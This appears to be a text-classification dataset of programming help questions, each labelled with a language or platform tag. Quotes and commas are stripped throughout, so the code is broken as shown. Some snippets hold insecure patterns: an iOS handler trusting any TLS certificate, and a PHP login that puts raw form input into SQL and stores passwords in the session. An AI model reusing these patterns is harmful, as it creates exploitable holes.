[nsmutableurlrequest requestwithurl:url cachepolicy:nsurlrequestuseprotocolcachepolicy timeoutinterval:15.0];     [request sethttpmethod:@ post ];      nsstring *parameterstring=[nsstring stringwithformat:@ %@%@%@%@%@%@%@%@   @ pp=a&amp;tt=  @ aa  @ &amp;mylat=  mylat @ &amp;mylng=  mylng @ &amp;myalt=  @ 0 ];      nsdata * postdata = [parameterstring datausingencoding:nsutf8stringencoding];     [request sethttpbody:postdata];      connmybg = [[nsurlconnection alloc] initwithrequest:request delegate:self];      nslog(@ task 1a );     nslog(@ %@  parameterstring);       if (connmybg==nil) {         nslog(@ task 1e );         return;     }   }   - (bool)connection:(nsurlconnection *)connection canauthenticateagainstprotectionspace:(nsurlprotectionspace *)protectionspace{     return yes; }  - (void)connection:(nsurlconnection *)connection didreceiveauthenticationchallenge:(nsurlauthenticationchallenge *)challenge{     //nslog(@ received authen challenge );      nslog(@ task challenge );      [challenge.sender usecredential:[nsurlcredential credentialfortrust:challenge.protectionspace.servertrust] forauthenticationchallenge:challenge]; }  - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response {      if (connection==connmybg) {         [receiveddatamybg setlength:0];          nslog(@ task connect receive );     }  } - (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data{     //nslog(@ got data %@   [[[nsstring alloc] initwithdata:data encoding:nsutf8stringencoding] autorelease]);     if (connection==connmybg) {         [receiveddatamybg appenddata:data];     }  } - (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error{     nslog(@ error );      if (connection==connmybg) {      }  }  - (void)connectiondidfinishloading:(nsurlconnection *)connection {      if (connection==connmybg) {          nslog(@ task 2 );          nsstring *response;         nserror *error;         response=[[nsstring alloc] initwithdata:receiveddatamybg encoding:nsutf8stringencoding];          nsdata* data = [response datausingencoding:nsutf8stringencoding];         nsdictionary *jsondic = [nsjsonserialization jsonobjectwithdata:data options:nsjsonreadingmutableleaves error:&amp;error];            if([[jsondic objectforkey:@ bnum ] isequaltostring:@  ])         {          } else {             uilocalnotification *schedulealert;             [[uiapplication sharedapplication] cancelalllocalnotifications];             schedulealert=[[uilocalnotification alloc] init];             schedulealert.applicationiconbadgenumber=1;             schedulealert.firedate=[nsdate datewithtimeintervalsincenow:1];             schedulealert.timezone=[nstimezone defaulttimezone];             schedulealert.repeatinterval=nsdaycalendarunit;             schedulealert.soundname=uilocalnotificationdefaultsoundname;             schedulealert.alertbody=@ test:ok ;         }          nslog(@ %@  [jsondic objectforkey:@ bnum ]);        }  }  @end </code></pre>   i can get log:  task 1a  ! but why i can t receive  task connect receive       what should i do    thanks.,ios
open google search page  i have a text box   and user enters text on here   i want to know how can i handle this textbox so when users enters a text   it opens google search page and search that text   i do not want to using apis   just opens google website in browser and searches for text .    thanks,android
adding rows automatically based on previous rows  i am trying to get information about room usage by classes at my school. i have used an sql statement as following:   <pre><code>select top (100) percent room                           subject                           count(subject) as expr1 from dbo.timetable group by room           subject order by t.room </code></pre>   say i had one room only at my school called <code>m13</code>. this sql statement might give me:   <pre><code>room    subject    expr1   m13     english    7   m13     maths      41 </code></pre>   as you can see  the total usage for this room is 48 classes per timetable cycle. if the total maximum per timetable cycle is 60 periods (6 periods a day x 10 days in a cycle) how can i automatically add a row at the end of each room showing the number of periods the room is not used for ex.  a row after the two rows above:   <pre><code>room    subject    expr1   m13     english    7   m13     maths      41 m13     not used   12 </code></pre>   obviously  i would like to do the same for every room in the school but i have just shown 1 room here for simplicity.    i am not sure at all if this is possible or how it could be done so any help at all would be great.,sql
div for modal display that has fixed header and footer  scrollable content  and no fixed pixel values for content height  i have been stumped on how to create a div for a modal display that uses a fixed header and footer  scrollable content area  and relies solely on percentage values for width/height of the holder and the content body. disclaimer: i do not know much about css.    here is what i want:   <ul> <li>div with 65% width  60% height  centered on page <ul> <li>header: 100px tall  fixed position</li> <li>content: whatever is left in the div tall  fixed position  scrollable content</li> <li>footer: 100px tall  fixed position</li> </ul></li> </ul>   edit: <a href= http://jsfiddle.net/uq5yc/  rel= nofollow >jsfiddle</a>    here s my attempt:   <pre><code>html  mbody {     overflow:auto; }  #mholder{     padding: 10px 10px 10px 10px;     width:  65%;     height: 60%;     background-color: white;     position: absolute;     top:0;     bottom:0;     left:0;     right:0;     margin: auto; }  #mheader{     position: fixed;     height: 100px;     left:0;     top:0;     width: 100%; }  #mbody{     width:100%; }  #mfooter{     height:100px;     width:100%;     position: fixed;     left: 0;     bottom: 0;  } </code></pre>   here s what i have on the page:   <pre><code>&lt;div id= mholder &gt;     &lt;div id= mheader &gt;header text&lt;/div&gt;     &lt;div id= mbody &gt;long body text...&lt;/div&gt;     &lt;div id= mfooter &gt;footer text&lt;/div&gt; &lt;/div&gt; </code></pre>   what s happening is that the header is appearing in the very top-left of my <em>page</em>  not the modal display; ditto for the footer on the bottom-right; the modal area (which should be identified by a white background) is definitely not 65%/60% of the page  and the <code>mbody</code> html is kind of overlapping the <code>mholder</code> div haphazardly.    edit: <a href= http://jsfiddle.net/uq5yc/  rel= nofollow >jsfiddle</a>,css
why is this swap method not working   why does the below two snippets of code have different results  i want to add a 1 in front of digits  which is a vector of integers. but the second snippet does not properly swap.   <pre><code>int tmpint(1); for (int i=0; i&lt;digits.size(); i++){     swap(tmpint  digits[i]); } digits.push_back(tmpint); </code></pre>   versus:   <pre><code>int tmpint(1); for (auto it : digits){     swap(tmpint  it); } digits.push_back(tmpint); </code></pre>,c++
output number sequence: 1:1  2:1  3:1  i m creating a sequence of co-ordinates for a 3x3 tiled grid.    e.g. (x:y)   <pre><code>1:1 2:1 3:1 1:2 2:2 3:2 1:3 2:3 3:3 </code></pre>   using this code:   <pre><code>$c1 = 1; $c2 = 1; for($i = 0; $i &lt; 9; $i++){      if($c1 == 1){          $x = $c1;         $y = $c2;          ++$c1;     }     elseif($c1 == 3){          $x = $c1;         $y = $c2;          $c1 = 1;         ++$c2;     }     else{         $x = $c1;         $y = $c2;          ++$c1;     }      echo $x. : .$y. &lt;br /&gt; ; } </code></pre>   is this the most efficient way to accomplish this     i ve got a gut feeling i m missing something that could simplify this procedure.    thanks for looking.,php
image manipulation using quartz2d <pre><code>cgsize cgs = cgsizemake(250.0  300.0);     uigraphicsbeginimagecontext(cgs);         cgrect rectangle = cgrectmake(0 0 cgs.width cgs.height);     uiimage *myimage = [uiimage imagenamed:@ bmw.jpg ];       [myimage drawinrect:rectangle];         [myimage release];      cgcontextref context = uigraphicsgetcurrentcontext();     cgcontextsetlinewidth(context  5.0);     cgcontextsetrgbstrokecolor(context  0.0  0.0  1.0  1.0);      cgcontextstrokerect(context  rectangle);      uiimage *testimg =  uigraphicsgetimagefromcurrentimagecontext();     uigraphicsendimagecontext();      [testimg drawatpoint:cgpointmake(35  10)]; </code></pre>   i want to give gap between image and rectangle borders in which image is drawn  like 5 on left 5 on top and 5 on right but around 30 on bottom because its the space for text that user will write and user can also select that he/she want text on top so in that case top gap will be 30 and bottom gap will be 5. here is the code it is inside subclass of uiview in drawrect method.    using this code border and image are tightly bound together  i am unable to give gap between border and image. any idea how can i do that     thanks in advance.    <img src= https://i.stack.imgur.com/erqru.png  alt= enter image description here >,ios
angularjs ngclick to change another view  i m working on a demo using angularjs. here is the <a href= http://jsfiddle.net/witcher42/db9cz/1/embedded/result/  rel= nofollow >preview</a> of the demo.    in the demo  there is a list on the left. and there is also a list on the right. i need to change the <strong>view</strong> of the right list when i click on the item of the left list.    i use 2 <code>controllers</code> to control left list and right list. every item of left list has a <code>ng-click</code> attribute to trigger the change of the right list.    so how to make the right list change     maybe  i should use a <code>controller</code> to control both the right and left list  (it seems not appropriate)    maybe  i should <code>$watch</code> a parameter of the <code>$rootscope</code>  (too tricky)    at last  what s the suitable way to handle this situation  how to trigger the change of another controller,angularjs
enum coin toss program stuck  i am trying to get this coin toss program to work for java. i m still very new and i m pretty sure i ve messed up a bunch. can anyone take a look  can t figure out how to get my switch to keep looping until the user inputs 0 to stop the coin flips:    the main goal is is ask the user how many flips and out put how many heads and tail flips. then ask if they want to keep flipping and add those flips to the one already done and i have to use enum to do it . . .    <pre><code>import java.util.random; import java.util.scanner;  public class cointossing {      private enum coin { heads  tails };      private static final random randomnumbers = new random();      private static final int heads = 1;     private static final int tails = 2;         public static void main(string[] args)     {          scanner input = new scanner (system.in);          int quantity = 0;         int headside = 0;         int tailsside = 0;           system.out.println( how many times would you like to flip the coin  enter 0 to end. );         int flipnumber = input.nextint();          while (flipnumber != 0)                quantity = quantity + flipnumber;               for(int x=1; x&lt;=quantity; ++x);                  switch (flip(null))                 {                  case heads:                     headside++;                     break;                  case tails:                     tailsside++;                     break;                  }                      if (flipnumber == 0)                     system.out.println( your number of flips is  + heads +tails);     }      private static int flip(random randomnumber) {         int toss;          toss = 1+ randomnumber.nextint(2);         return toss;     } } </code></pre>,java
c# error  string was not recognized as a valid datetime   i am trying to save the datetime.now in the format  yyyymmdd     <strong>i have this code</strong>   <pre><code>string todaysdate = datetime.now.tostring(); </code></pre>   ...   <pre><code>u_date_of_pd_added = getdatefromstring(todaysdate)  </code></pre>   // u_date_of_pd_added is a datetime database field    ...   <pre><code>//method to get date from string private datetime getdatefromstring(string datestring) {    string format =  yyyymmdd ;    return datetime.parseexact(datestring  format  cultureinfo.invariantculture); } </code></pre>   i keep getting the error  string was not recognized as a valid datetime.  as it tries to parse. what could be wrong     i do not care if it saves the time  i would prefer 00:00:00.000,c#
combining two columns c1 c2 as c3 in a table <pre><code>c1  c2  10  30 20  40 </code></pre>   c1  c2 are the two columns and i want the output as given below using sql query.   <pre><code>c3  10 20 30 40 </code></pre>,sql
framework issue during deployment  i am getting the following error during deployment of a web application. in my deployment environment  i have an existing application that uses .net 2.0 as application pool. the appl that i am trying to add is .net 4.0 application. if i change the target .net framework for application pool for existing app to 4.0  it stops working. how can i resolve this issue      thanks jay     line 20:             set explicit= true  to force declaration of all variables. line 21:         --> line 22:,asp.net
select on primary key regardless of column name   i m just wondering if there s any way to select a row using the primary key in the <code>where</code> clause without necessarily knowing the name of the key s column.    my suggested php function is as follows:   <pre><code>function getdata($table $key $asarray=false) {     $sql = mysql_query( select * from ` .$table. ` where primary=  .$key.   );     if( !$asarray) return mysql_fetch_assoc($sql);     $ret = [];     while($row = mysql_fetch_assoc($sql)) $ret[] = $row;     return $ret; } </code></pre>   <i>a few notes:   <ol> <li><code>$table</code> only ever comes from literal strings inside the code  never from an outside source.</li> <li>for the purposes of this question  assume that <code>$key</code> is already properly escaped.</li> <li>i don t care that <code>mysql</code> is deprecated in php 5.5  because i m using php 5.4</li> <li>for that same reason <code>$ret = []</code> is a perfectly valid way to define an array - i say this because in my last question people were telling me my code wasn t working because of this syntax.</li> </ol>   </i>now  my current  actual  working code has an associative array mapping table names to their corresponding primary key field names. i m just wondering if there s an automated way to do this  preferably one that doesn t involve querying <code>information_schema</code>  <code>show create table</code> or <code>show indexes</code>.,mysql
file not opening from jtable  i have created a simple form which includes a jtable in which i can  save an excel file &amp; open the excel file whenever the row is selected. the save function is working just fine. however  the excel file is not opening when i select the row. i am using the following code:   <pre><code>public log() {     initcomponents();     conn=javaconnect.connecrdb();     update_table(); }  private void update_table(){     try{         string sql= select code type date status path from log ;         pst=conn.preparestatement(sql);         rs=pst.executequery();         jtable1.setmodel(dbutils.resultsettotablemodel(rs));      }catch(exception e){         joptionpane.showmessagedialog(null  e);     }  }   private void jbutton4actionperformed(java.awt.event.actionevent evt) {                                               setvisible(false);     report ob=new report();     ob.setvisible(true); }                                          private void jbutton1actionperformed(java.awt.event.actionevent evt) {                                               string sql= select * from machine where code=  ;     try{         pst=conn.preparestatement(sql);         pst.setstring(1  jtextfield1.gettext());         rs=pst.executequery();         if(rs.next()){             string add1=rs.getstring( type );             jtextfield2.settext(add1);             rs.close();             pst.close();         }         else{             joptionpane.showmessagedialog(null   machine not found );         }     }catch(exception e){         joptionpane.showmessagedialog(null  e);     } }                                          private void jbutton2actionperformed(java.awt.event.actionevent evt) {                                               jfilechooser chooser=new jfilechooser();     chooser.showopendialog(null);      file f=chooser.getselectedfile();     string filepath=f.getabsolutepath();     jtextfield3.settext(filepath); }                                          private void jbutton3actionperformed(java.awt.event.actionevent evt) {                                               try{         string sql = insert into log (code type date status path) values(         ) ;          pst=conn.preparestatement(sql);         pst.setstring(1  jtextfield1.gettext());         pst.setstring(2  jtextfield2.gettext());         pst.setstring(3 ((jtextfield)jdatechooser1.getdateeditor().getuicomponent()).gettext());         pst.setstring(4  (string)jcombobox1.getselecteditem());         pst.setstring(5  jtextfield3.gettext());                     pst.execute();         joptionpane.showmessagedialog(null   saved );     }catch(exception e){         joptionpane.showmessagedialog(null  e);     }      jtextfield1.settext(  );     jcombobox1.setselecteditem( ---------- );     jdatechooser1.setdateformatstring(  );     jtextfield2.settext(  );     jtextfield3.settext(  );     update_table(); }                                          private void jtable1mouseclicked(java.awt.event.mouseevent evt) {                                          // todo add your handling code here:     int row=jtable1.getselectedrow();     string value=(jtable1.getmodel().getvalueat(row  4).tostring());     try{         runtime.getruntime().exec( rundll32 url.dll fileprotocolhandler +value);              }catch(exception e){         joptionpane.showmessagedialog(null  e);     } }                                     </code></pre>   what am i doing wrong  thanks in advance.,java
python use 2 lists in 1 loop  i have the below code which has the list <code>r3000</code>  a list of links to save as html.     is it possible to save the files with different names using a separate list     for example  <code>r3000</code> would include the link ( <a href= http://research.investors.com/quotes/nyse-agilent-technologies-inc-a.htm fromsearch=1  rel= nofollow >http://research.investors.com/quotes/nyse-agilent-technologies-inc-a.htm fromsearch=1</a> ) then have another list called <code>r3000sym</code> that is <code>[ a        ...]</code>. then file would be saved as <code>a.html</code>.   <pre><code>import time import urllib2 from urllib2 import urlopen  r3000 = [ http://research.investors.com/quotes/nyse-agilent-technologies-inc-a.htm fromsearch=1             http://research.investors.com/quotes/nyse-alcoa-inc-aa.htm fromsearch=1             http://research.investors.com/quotes/nasdaq-american-airlines-group-aal.htm fromsearch=1             http://research.investors.com/quotes/amex-altisource-asset-mgmt-aamc.htm fromsearch=1             http://research.investors.com/quotes/nyse-aarons-inc-aan.htm fromsearch=1             http://research.investors.com/quotes/nasdaq-applied-optoelectronics-aaoi.htm fromsearch=1             http://research.investors.com/quotes/nasdaq-a-a-o-n-inc-aaon.htm fromsearch=1             http://research.investors.com/quotes/nyse-advance-auto-parts-inc-aap.htm fromsearch=1 ]  def yahookeystats(stock):     try:         site= stock         hdr = { user-agent :  mozilla/5.0 }         req = urllib2.request(site headers=hdr)         page = urllib2.urlopen(req).read()           datafile =  a.html          f = open(datafile  a )         f.write(page)         f.close()          print  done  stock      except exception e:         print str(e)   for eachstock in r3000:     yahookeystats(eachstock) </code></pre>,python
keep duplicate keys in array  i am getting data from whois and breaking the data up and putting it into an array with keys but some need multiple keys the same name is there anyway i can add number onto the end of the same named keys to make them unique     here is my code so far   <pre><code> $test1 =$check_domain-&gt;find_whois_details( be.co );  $rows = explode( \n   $test1); $arr = array( info =&gt;  ); foreach($rows as $row) {     $posoffirstcolon = strpos($row   : );     if($posoffirstcolon === false)         $arr[ info ] .= $row;     else         $arr[substr($row  0  $posoffirstcolon)] = trim(substr($row  $posoffirstcolon+1)); }  $a = array_map( trim   array_keys($arr)); $b = array_map( trim   $arr); $arr = array_combine($a  $b);   print($arr[ registry expiry date ]); </code></pre>,php
reasign to undefined argument cause global definition   i have this function:   <pre><code>line.prototype.b = function (a) {     a = a || this.a();     return this.y - a * this.x; } </code></pre>   i was wondering if <code>a = a || a();</code> cause <code>a</code> become a global definition variable in case parameter <code>a</code> is undefined  like if i call that function without parameter.,javascript
_underbar variable usage in subclasses with auto-synthesized properties   ran into this today in xcode 4.6 and it caught me by surprise. i am using auto-synthesized properties (but manual synthesis makes no difference).   <pre><code>@interface testa : nsobject @property (strong) id foo; @end  #import  testa.h  @interface testb : testa - (id)initwithfoo:(id)foo; @end  @implementation testb - (id)initwithfoo:(id)foo {     self = [super init];     if (self)     {         _foo = foo; // xcode says _foo is not defined.         //self.foo = foo; // this does work though.     }     return self; } @end </code></pre>   i can access <code>_foo</code> in <code>testa</code> s implementation just fine but not in <code>testb</code> s. i can fix this by putting <code>id _userinfo</code> as an ivar declaration in <code>testa.h</code> but i didn t think i would have to. what is happening here,objective-c
how to find available system memory  disk space  cpu usage using system calls from java to windows os  how to find available system memory  disk space  cpu usage of windows os using system calls from java     *in windows operating system    wat i actually want to do is     accept a file from client user and save the file in the server after checking the available space. my server and client are connected using a java tcp socket program!,java
i need to display the information but this isn t working. why  <pre><code>system.out.println( the non pure blood horses over 2 years old are:  ); if(!pureblood == false) {     system.out.printf( name= %s\nage= %d\nheight= %s\ncolor= %s\n                                 this.name  this.age  this.height  this.color); } </code></pre>   when i compile it i get errors like this    <pre><code>non-static variable this cannot be referenced from a static context  system.out.printf( name= %s\nage= %d\nheight= %s\ncolor= %s\n   this.name  this.age  this.height  this.color);  </code></pre>,java
aren t static variables limited to the compilation unit   i have the following files:    <code>main.c</code>:   <pre><code>#include  ext.h  #include  main2.h  #include &lt;stdio.h&gt;  int main () {   // printf( main - internal_static_variable: %d\n   internal_static_variable);   // printf( main - internal_static_variable: %d\n   internal_static_variable);   printf( main - external_variable: %d\n   external_variable);    put_static_val(24);   put_val(42);    printf( main - internal_static_variable: %d\n   get_static_val());   printf( main - internal_variable: %d\n   get_val());    ++external_variable;   print(); } </code></pre>   <code>main2.h</code>:   <pre><code>// main 2.h  #pragma once  void print(); </code></pre>   <code>main2.c</code>:   <pre><code>// main2.c  #include  ext.h  #include  main2.h  #include &lt;stdio.h&gt;  void print() {   printf( main2 - external_variable: %d\n   external_variable);   printf( main2 - internal_static_variable: %d\n   get_static_val());   printf( main2 - internal_variable: %d\n   get_val()); } </code></pre>   <code>ext.h</code>:   <pre><code>// ext.h  #pragma once  extern int external_variable;  void put_static_val(int v); int get_static_val(); void put_val(int v); int get_val(); </code></pre>   <code>ext.c</code>:   <pre><code>// ext.c  #include  ext.h   static int internal_static_variable = 0; int internal_variable               = 1; int external_variable               = 2;  void put_static_val(int v) {   internal_static_variable = v; }  int get_static_val() {   return internal_static_variable; }  void put_val(int v) {   internal_variable = v; }  int get_val() {   return internal_variable; } </code></pre>   when compiled and executed  the result is the following:   <pre><code>main - external_variable: 2 main - internal_static_variable: 24 main - internal_variable: 42 main2 - external_variable: 3 main2 - internal_static_variable: 24 main2 - internal_variable: 42 </code></pre>   as expected  the variables not exposed in the header file (<code>internal_static_variable</code> and <code>internal_variable</code>) are not directly accessible.    what i don t get is the meaning of <code>static</code>. i know it limits the scope of a variable to the compilation unit  but isn t it enough <em>not</em> to declare a variable in the header file to hide it     also  i assumed that the static variable and the not-static variable would behave differently. specifically  <code>internal_static_variable</code> would <em>not</em> be shared by the files including it (one instance for <code>main.c</code> and one for <code>main2.c</code>)  but since i change its value from <code>main.c</code> and i get the changed valued in <code>main2.c</code>  there seems not to be any difference between the two.    could you explain it  please  thanks,c
how to add a moving text in iphone  i want to add some text which is a long text lets say a story and i want it to be presented in a moving up fashion. that is it will be displayed in a box and the text will be moved line by line to show the whole story. so one line gets out of the box from top and other comes from the bottom. like a html marquee behavior.,iphone
should project.lock.json file be checked into source control  (asp.net core 1.0)  using asp.net core 1.0  is it best practice to check in the <strong>project.lock.json</strong> file into source control,asp.net
unable to access php global variable  i am trying to pull global variable $nsfw but it shows nothing at all. if i echo it inside function  it works. but outside  it fails even when defined as global. kindly help me out here.   <pre><code> &lt; php         if(!function_exists( do_example_work ))     {         function do_example_work()         {             global $nsfw;          include( includes/dbconnect.php ); // create connection $conn = new mysqli($dbhost  $dbuser  $dbpass  $dbname); // check connection if ($conn-&gt;connect_error) {     die( connection failed:   . $conn-&gt;connect_error); }  $sql =  select fieldname from table where name= $anything  ; $result = $conn-&gt;query($sql); if ($result-&gt;num_rows &gt; 0) {     // output data of each row     while($row = $result-&gt;fetch_assoc()) {         if ($row[ fieldname ] == 1) {             // do somethin             $nsfw = 25;             exit();         } else {             echo  enjoy ;         }     } } else {     echo  0 results ; }             }         echo $nsfw; };    &gt; </code></pre>,php
how to autoplay within in an a tag   is there a way to autoplay a video in <code>&lt;a&gt;</code> tag.     i have an image as a button and when i click the image a video is displayed but i would like it to autoplay.   <pre><code>  &lt;a id= myvideo   href= ikea creative ad.mp4   &gt;&lt;img class= img-thumbnail  src= play-button-icon.png /&gt;&lt;/a&gt; </code></pre>   <a href= https://i.stack.imgur.com/ibyep.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ibyep.png  alt= enter image description here ></a>,html
js syntax error on ie for .map function  i have a javascript function that takes an object and remaps all of its key names to something else that i have defined.    here is the function:   <pre><code>var namemap = {     submissionid:  submissionid       metacreateddate:  date       metacreateddate_:  metacreateddate_       program:  program       viewedbyinvestigator:  viewed       dateinvestigatorviewed:  dateinvestigatorviewed       caseid:  caseid       secondaryreviewer:  secondaryreviewer       investigator:  investigator       invmanager:  manager       invsrmanager:  srmanager       workflowaction:  workflowaction       adjacency:  adjacency       jurisdiction:  jurisdiction       actions:  actions       note:  note       recid:  submissionid  }  // converted names data = data.map(item =&gt; renamekeys(item  namemap)); </code></pre>   this function works great for chrome/firefox but i am having issues getting it to work in ie. i am receiving a syntax error on the line that is invoking the function.    does ie not support mapping or is it written in a supported format  how can i account for this in ie,javascript
creating a chess board with variable square size  i have a class called image in c++  where i have a width  and height and a long vector which stores all the pixel values in a manner  that it iterates through the first column  then it moves one row down  iterates through the second column etc.. ( 0 ist black  255 is white )    now i have written a function void chess ()  that transforms the pixel values in such a way that it has the basic chess pattern on it  when you  give it out.    <strong>my next idea is to create chess board with varying size e.g. width 8  height 8  and each square of the chessboard is 2x2 pixels instead of  1x1</strong>    now  if i try to implement it  my only  idea  is to use 2 counters  one to track that it changes from white to black not after every pixel  but after the new size of pixels. additionally  you d have to have a second counter to keep track  after how many rows you have to invert  so you start with black  instead of white.     yet i can t figure it out  i end up with so many if statements and for and while loops  that it always comes out messy. there has to be a significantly easier way. does anybody have any ideas    <pre><code>class image { public:     typedef uint16_t pixeltype;  private:     int width_;     int height_;     std::vector&lt;pixeltype&gt; data_;  public:     // standardkonstruktor: initialisiere bild mit groesse (0 0)     image()     : width_(0)       height_(0)     {}      image(unsigned int width  unsigned int height)     : width_(width)         height_(height)     {         int size = width * height;          for(int j=0; j &lt; height; j++)         {             for(int i=0; i &lt; width; i++)             {                 data_.push_back(0);             }         }     }      void chess() // change an image to chess board pattern     {         data_.clear();         int width = (*this).width();         int height = (*this).height();          for(int w=0; w &lt; width; w++)         {             for(int h=1; h &lt;= height; h++)             {                 /*std::cout &lt;&lt;  p=( + std::to_string(w) +     + std::to_string(h) +  )  &lt;&lt; std::endl;                 std::cout &lt;&lt; std::to_string(h%2) &lt;&lt;std::endl;                 for testing purposes only */                 if(w%2==0)                 {                     if( !(h%2==0) )                     {                         data_.push_back(255);                     }                     else                     {                         data_.push_back(0);                     }                 }                 else                 {                     if( !(h%2==0) )                     {                         data_.push_back(0);                     } else                     {                         data_.push_back(255);                     }                  }             }         }     } }; </code></pre>,c++
printing using already assigned variables  i am learning python and am having some trouble printing already assigned variables.  for example:    write python statements that print the next formatted outputs using the already assigned variable <em>first  middle </em> and <em>last:</em>   <pre><code>&gt;&gt;&gt;first =  marlena  &gt;&gt;&gt;last =  sigel  &gt;&gt;&gt;middle =  mae  </code></pre>  <pre class= lang-none prettyprint-override ><code>a) sigel  marlena mae b) sigel  marlena m. c) marlena m. sigel d) m. m. sigel </code></pre>   --- for part a) i am getting this:    <pre><code>&gt;&gt;&gt; print (last  first  sep=      +  middle) sigel   maemarlena </code></pre>   how do i get a space between mae and marlena     for b  c  and d  how do i do this without changing these to strings,python
how to have a char pointer as an out parameter for c++ function  i m a newbie to c++. i m trying to have a char pointer as an out parameter for a function. but the changes made in the function are not reflected in the main function. what am i doing wrong    <pre><code>void setname( char *pszstr ) {     char* ptemp = new char[10];     strcpy(ptemp  mark );     pszstr = ptemp; }  int _tmain(int argc  _tchar* argv[]) {     char* pszname = null;     setname( pszname );     cout&lt;&lt; name -  &lt;&lt;*pszname&lt;&lt;endl;     delete pszname;     return 0; } </code></pre>,c++
dynamically setting pageno and maxrow to datapager control using a stored procedure  i have a listview and i am paging with a datapager.i am using a stored procedure to return the paged data.stored procedure returns the total no of rows as out paramater.    my stored procedure is   <pre><code>crate procedure [dbo].[sp_productlist] @id int  @country int  @state int  @city int  @group int  @pageno int  @pagecount int out as begin --custom search end </code></pre>   in my list view  layout is   <pre><code>  &lt;asp:listview id= lstcatalogue  runat= server  onselectedindexchanged= lstcatalogue_selectedindexchanged &gt;     &lt;layouttemplate&gt; &lt;div id= productcontent  class= center_productcontent &gt;                 &lt;div runat= server  id= itemplaceholder &gt;&lt;/li&gt;             &lt;/div&gt;     &lt;div class= pager &gt;         &lt;asp:datapager id= pgrupper  runat= server  pagesize= 9  pagedcontrolid= lstcatalogue &gt;              &lt;fields&gt;              &lt;asp:nextpreviouspagerfield buttoncssclass= command  firstpagetext= first  previouspagetext= previous  renderdisabledbuttonsaslabels= true  rendernonbreakingspacesbetweencontrols= true   showfirstpagebutton= true  shownextpagebutton= false  showlastpagebutton= false   showpreviouspagebutton= true  /&gt;              &lt;asp:numericpagerfield buttoncount= 10  numericbuttoncssclass= command  currentpagelabelcssclass= current  nextpreviousbuttoncssclass= command  rendernonbreakingspacesbetweencontrols= true  /&gt;              &lt;asp:nextpreviouspagerfield buttoncssclass= command  nextpagetext= next  lastpagetext= last  renderdisabledbuttonsaslabels= true  showfirstpagebutton= false  showpreviouspagebutton= false  shownextpagebutton= true  showlastpagebutton= true  /&gt;         &lt;/fields&gt;       &lt;/asp:datapager&gt;             &lt;/div&gt;           &lt;/layouttemplate&gt;     &lt;/asp:listview&gt; </code></pre>   my problem is how can i set paging in datapager.based on the paged data from the stored procedure.,asp.net
adding debit or credit card programmatically into applepay  if we have a credit or debit card information  could we add credit or debit card programmatically into apple pay either from ios app or server code,ios
can t display other data from the database on to webpage  i am building a login system and i have got it to display the username and password printed on another page. however  for some reason i can t display the user s email on the page. all i want is the user logs in and in the other page it displays their username and email address from the database.    here s my code: usersignin.php   <pre><code> &lt; php     $host= localhost ; // host name      $username= root ; // mysql username      $password=  ; // mysql password      $db_name= membersti ; // database name      $tbl_name= users ; // table name       // connect to server and select database.     mysql_connect( $host    $username    $password )or die( cannot connect );      mysql_select_db( $db_name )or die( cannot select db );      session_start();      // username and password sent from form      $myusername=$_post[ myusername ];      $mypassword=$_post[ mypassword ];        if($_post[ myusername ] ==    or $_post[ mypassword ] ==   ){         echo  empty field ;     }      $sql= select * from $tbl_name where username= $myusername  and password= $mypassword  ;     $result=mysql_query($sql);      // mysql_num_row is counting table row     $count=mysql_num_rows($result);      if($count==1){     $_session[ myusername ]=$myusername;     $_session[ mypassword ]=$mypassword;     $_session[ myemail ]=$myemail;      header( location:login_success.php );     }     else {     echo  wrong username or password ;     }       &gt; </code></pre>   login_success.php   <pre><code>&lt; php session_start(); if(!$_session[ myusername ]){     header( location:login.php ); } else     $user = $_session[ myusername ];     $pass = $_session[ mypassword ];     $email = $_session[ myemail ];  &gt;  &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;title&gt;member s club&lt;/title&gt; &lt;link rel= stylesheet  type= text/css  href= login_success.css  /&gt; &lt;body&gt;   &lt;div class= table  id =  main &gt;     &lt;div class= row2 &gt;         &lt;div class= cell header  id= mainstory &gt;             hey! &lt; php echo $user; &gt;&lt; php echo $email &gt;         &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt;   &lt;/html&gt; &lt;/body&gt; </code></pre>   any suggestions  it s been a year since i touched php and a lot has changed and some of them have been deprecated.,php
how to scale image between 2 views with given coordinates in android  in my application i have a requirement to animate an image (this image view has an arrow set as source).<a href= https://i.stack.imgur.com/ahsdq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ahsdq.png  alt= enter image description here ></a>    i am unable to figure this out how i can achieve this.to solve this i got x and y coordinates of second view that is rectangle after getting coordintes i am setting  scalex() of image view that is purple line but i am not geeting desire out put because it stretches to the whole screen along x-axis    here is the code what i tried is    <pre><code>int x = (int) imageview.getx(); imageview2.setscalex(x); </code></pre>   here imageview is rectangular box and imageview 2 is the purple line,android
start foreach loop in reverse order <pre><code>public datatable reverseorder(datatable dtable  string colname) {         foreach (datarow drow in dtable.rows)         {             if (htable.contains(drow[colname]))                 duplicatelist.add(drow);             else                 htable.add(drow[colname]  string.empty);         } } </code></pre>   i want to start for each loop in reverse (descending) order.,asp.net
discards qualifiers error  why can not i call a non-const method from a non-const method   i m implementing an undirected graph  but i have some problems:   <pre><code>error: passing  const std::__cxx11::list&lt;graph&lt;char&gt;::edge  std::allocator&lt;graph&lt;char&gt;::edge&gt; &gt;  as  this  argument discards qualifiers [-fpermissive] </code></pre>   the class is this:   <pre><code>template&lt;class t&gt; class graph {     class vertex;                   //dichiarazione della classe vertex  definizione in seguito..     class edge;                     //dichiarazione della classe edge  definizione in seguito..      typedef typename set&lt;graph&lt;t&gt;::vertex&gt;::iterator vertexit;     typedef typename list&lt;graph&lt;t&gt;::edge&gt;::iterator edgeit;      class vertex{         friend bool operator&lt;(const vertex&amp; x const vertex&amp; y) { return x.data&lt;y.data; } // returns x&lt;y     public:         vertex(t data) : data(data) {}         void printvertex() const;         void printadj() const;          t data;         list&lt;graph&lt;t&gt;::edge&gt; adj;     };      class edge{     public:         edge(vertexit link  int weight) : link(link)  weight(weight){}         void printedge() const;         vertexit link;         int weight;     };    private:     set&lt;graph&lt;t&gt;::vertex&gt; graph;   public:     /**costruttore e distruttore*/     graph();     virtual ~graph();     /**getter &amp; setter*/      /**metodi di classe*/     void addvertex(t data);     void printgraph() const;     void link(t a  t b  int 